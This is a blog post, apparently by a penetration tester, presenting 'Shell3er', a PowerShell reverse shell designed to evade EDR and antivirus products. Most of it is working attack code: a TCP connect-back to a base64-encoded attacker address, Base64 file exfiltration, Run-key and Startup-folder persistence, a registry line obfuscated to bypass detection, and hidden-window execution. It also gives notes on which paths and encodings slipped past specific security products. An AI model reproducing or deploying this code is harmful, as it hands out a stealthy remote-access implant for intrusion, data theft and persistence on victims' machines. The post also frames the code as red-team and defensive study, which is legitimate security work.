Skip to content

Shell3er Reverse Shell & EDR Evasion

Introduction

A reverse shell also known as a remote shell or “connect-back shell,” is a type of remote access technique used by attackers to establish a connection from the target system back to the attacker’s system. The goal is to connect to a remote computer and redirect the input and output connections of the target system’s shell so the attacker can access it remotely.

EDR solutions continuously collect and analyze data from endpoints, including process activity, network connections, file system changes, and user behavior, to identify suspicious activities or patterns. If a threat is detected, EDR tools can either automatically respond to it or alert security analysts to take appropriate action. Its capabilities are for example: Threat Detection, Incident Response, and Forensic Analysis.

They detect malicious activities by Behavioral Analysis, Signature-based Detection, Heuristic Analysis, Network Traffic Analysis and Process Anomaly Detection: EDR tools can detect anomalies in process execution, such as unauthorized parent-child process relationships, unusual command-line arguments, or abnormal process behavior, which might suggest the presence of a reverse shell. Also including incident data search and investigation alert triage, suspicious activity validation, threat hunting, and malicious activity detection and containment.

Note: I have tested my reverse shell against (Checkpoint EDR version E85.40) (Kaspersky Total Security) (Windows Defender)

Breaking Shell3er Shell

So, I have created a PowerShell reverse shell and I will show what every function is doing, note that, it’s not that very sophisticated reverse shell but will show how it was easy we can trick EDR’s and AV’s and in the end EDR’s and AV’s is not that scary ninja.

The first function GetRandomProcessName

function Get-RandomProcessName {
return "PS_" + [System.Guid]::NewGuid().ToString()
}

The Get-RandomProcessName function generates a random process name by concatenating “PS_” with a new GUID. This is used to create unique and seemingly random process names, making it harder to identify suspicious processes. So, when the 2 reverse shell established i verify by running GetRandomProcessName.

As we see we have a unique GUID and seemingly random process names for every reverse shell we established

The second function is (Run-BackgroundTask )

function Run-BackgroundTask {
param(
[ScriptBlock]$ScriptBlock,
[string]$ProcessName
)

if (-not $ProcessName) {
    $ProcessName = Get-RandomProcessName
}

$JobName = "BackgroundTask_" + [Guid]::NewGuid().ToString()

Start-Job -Name $JobName -ScriptBlock $ScriptBlock | Out-Null

$job = Get-Job -Name $JobName

while ($job.State -eq "Running") {
    Start-Sleep -Milliseconds 500
}

$result = $job | Receive-Job

Remove-Job -Name $JobName -Force | Out-Null

return $result}

The Run-BackgroundTask function helps evade detection by running tasks in the background without interfering with the main script or the user’s activities. It starts a new background job with a random job name, executes the script block, and retrieves the output.

By running tasks in the background, the script can perform its operations discreetly, minimizing the chances of being noticed by users or security solutions monitoring for suspicious foreground processes or activities. This makes it harder for Endpoint Detection and Response (EDR) tools and other security software to detect the malicious activities, as the background job might not raise immediate suspicion, especially when combined with the random job name and unique process name generated by the Get-RandomProcessName function and which also is not pointing to our script. we can verify that by running Process Explorer, you can download from here, right click on the PowerShell session process –> properties and you will find the command line is (not pointing to any script path).

Then we have the download and upload function

function download($filename) {
try {
$fileBytes = [System.IO.File]::ReadAllBytes($filename)
$writer.Write("down:$filenamen") $writer.Write([Convert]::ToBase64String($fileBytes)) $writer.Write("n")
$writer.Flush()
} catch {
$writer.Write("Err: " + $_.Exception.Message + "`n")
$writer.Flush()
}
}

function upload($filePath) {
try {
$content = [System.IO.File]::ReadAllBytes($filePath)
$writer.Write("Upl:Successn") $writer.Write([Convert]::ToBase64String($content)) $writer.Write("n")
$writer.Flush()
} catch {
$writer.Write("Err: " + $_.Exception.Message + "`n")
$writer.Flush()
}
}

The download and upload functions are working in transmitting the files by encoding the file content in Base64, it is transformed into a text representation, which can be more easily transmitted over the network, i though the Checkpoint EDR will detect malicious activities involving Base64-encoded content but surprisingly it PASS. Note: it will be effective in small file size or content such as text, log, credentials’..etc files.

As we see here i download a sample log keys txt and I have received in Base64 which when decode using (echo ‘UERDFGT==’ | base64 –decode) I have got the content.

Reverse Shell Persistence

Now let go to the more fun part when the reverse shell being executed i want to keep my shell persistence in the target machine so i apply the following in the code and yes, its touch the desk.

Copy-Item -Path $PSCommandPath -Destination "C:\ProgramData\$([System.IO.Path]::GetFileName($PSCommandPath))"

Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MyScript" -Value "powershell.exe -ExecutionPolicy Bypass -File C:\ProgramData\Shell3er.ps1"

$sourcePath = "C:\ProgramData\Shell3er.ps1"
$destinationPath = [Environment]::GetFolderPath('Startup') + "\Shell3er.ps1"

Copy-Item -Path $sourcePath -Destination $destinationPath

When the reverse shell being executed it drop a copy of itself on C:\PrgramData\Sheel3er.ps1 and then the script uses two different methods to achieve persistence on the target system. First, it copies itself to the “C:\ProgramData” folder and modifies the registry key “HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to start the script every time the user logs in. Second, it copies the script to the user’s Startup folder, ensuring that it runs every time the user starts their system.

1- What i have found first when i choose the path C:\Windows\Tasks to make the script copy itself there the EDR detect as malicious but when i change the path to C:\ProgramData it PASS.

2- When i put the line of modifying the registry key HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run it detects as malicious but when i encode only that line

sp -Path $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4A'))) -Name $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQB5AFMAYwByAGkAcAB0AA=='))) -Value $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBoAGUAbABsADMAZQByAC4AcABzADEA'))) Again it PASS.

We can add other persistence methods such as adding task scheduled or WMI Event Subscriptions but in that case, we have to run our shell with administrative privilege.

Create a Connection

$encodedIp = 'MTkyLjE2OC4xODAuMTI4' # Replace with base64 encoded IP
$encodedPort = 'NDQ0NA==' # Replace with base64 encoded port
$ip = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedIp))
$port = [System.Convert]::ToInt32([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedPort)))

$client = New-Object System.Net.Sockets.TCPClient($ip, $port)
$stream = $client.GetStream()

$buffer = New-Object Byte[] 1024
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$psI = System.Console::In
$psO = System.Console::Out
$psE = System.Console::Error

This part of the code sets up a reverse shell by creating a TCP client and connecting it to a specified IP address and port. The IP address and port are base64 encoded to obfuscate the actual values. The code first decodes the base64-encoded IP address and port, then creates a TCP client object and establishes a connection with the decoded IP and port.

Then we have the Hide Window to hide the PowerShell windows upon execution

Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

public static void Hide()
{
IntPtr console = GetConsoleWindow();
if (console != IntPtr.Zero)
{
ShowWindow(console, 0);
}
}'

Then we have the last part which is the (Main Loop)

Run-BackgroundTask -ScriptBlock {
# Create random process name for PowerShell process
$processName = Get-RandomProcessName

# Create process start info object
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = "powershell.exe"
$psi.Arguments = "-WindowStyle Hidden -NoLogo -NoProfile -EncodedCommand $encodedCommand"
$psi.UseShellExecute = $false
$psi.RedirectStandardOutput = $true
$psi.RedirectStandardError = $true
$psi.RedirectStandardInput = $true
$psi.CreateNoWindow = $true
$psi.UserName = $null
$psi.Password = $null
$psi.Domain = $null

# Create PowerShell process object
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $psi
$p.EnableRaisingEvents = $true
# Start PowerShell process
$p.Start()
# Wait for PowerShell process to exit
$p.WaitForExit()
}

This part of the code is responsible for running the reverse shell in the background. It uses the Run-BackgroundTask function with a ScriptBlock containing the necessary instructions to create a new PowerShell process with a random name.

First, it generates a random process name using the Get-RandomProcessName function. Then, it creates a ProcessStartInfo object with the necessary configuration, such as using “powershell.exe” as the executable, specifying arguments to run the PowerShell process with a hidden window, no logo, no profile, and an encoded command. It also configures the process to redirect standard output, error, and input streams, and sets the process to not create a window.

Next, it creates a Process object and sets its StartInfo property to the configured ProcessStartInfo object. The EnableRaisingEvents property is set to $true to allow the process to raise events. The code then starts the PowerShell process and waits for it to exit.

Other Thoughts – Running as EXE

Since it runs as PowerShell Script it passes all tested EDR and AV’s but when we convert the script to executable file such as (EXE) it got caught by some of them because which makes it easier for security solutions to analyze and detect potentially malicious behavior. But when i obfuscate my script into using Character mode it got pass again.

I have uploaded the executable file to Antiscan[dot]me and here are the results.

You download the full script here on GitHub

yehia-mamdouh/Shell3er: PowerShell Reverse Shell (github.com)

Conclusion

This reverse PowerShell script provides an attacker with remote access and control over a victim’s system. It’s important also as Red Teamer or penetration tester to understand how the endpoint protection works in the target environment to able to create script that can pass that endpoint security solution. Also, on the other side by understanding how such scripts work, cybersecurity professionals can better defend their systems against potential threats. It is crucial to stay vigilant and maintain a strong security posture to protect your systems from similar attacks.

Hope you enjoyed the reading Mrvar0x 🙂

Published inUncategorized
Hacking is to Know the Unknown - & Break Boundaries Guided by Curiosity